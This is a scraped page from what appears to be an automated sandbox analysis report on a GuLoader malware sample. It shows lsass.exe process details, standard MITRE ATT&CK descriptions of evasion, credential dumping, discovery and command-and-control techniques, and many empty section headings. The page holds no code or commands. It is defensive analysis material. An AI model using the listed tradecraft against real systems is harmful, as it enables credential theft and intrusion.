Start time:	10:47:56
Start date:	25/11/2021
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff71ff40000
File size:	59448 bytes
MD5 hash:	15A556DEF233F112D127025AB51AC2D3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report ORDINE + DDT A.M.F SpA.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: GuLoader

Yara Overview

Memory Dumps

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph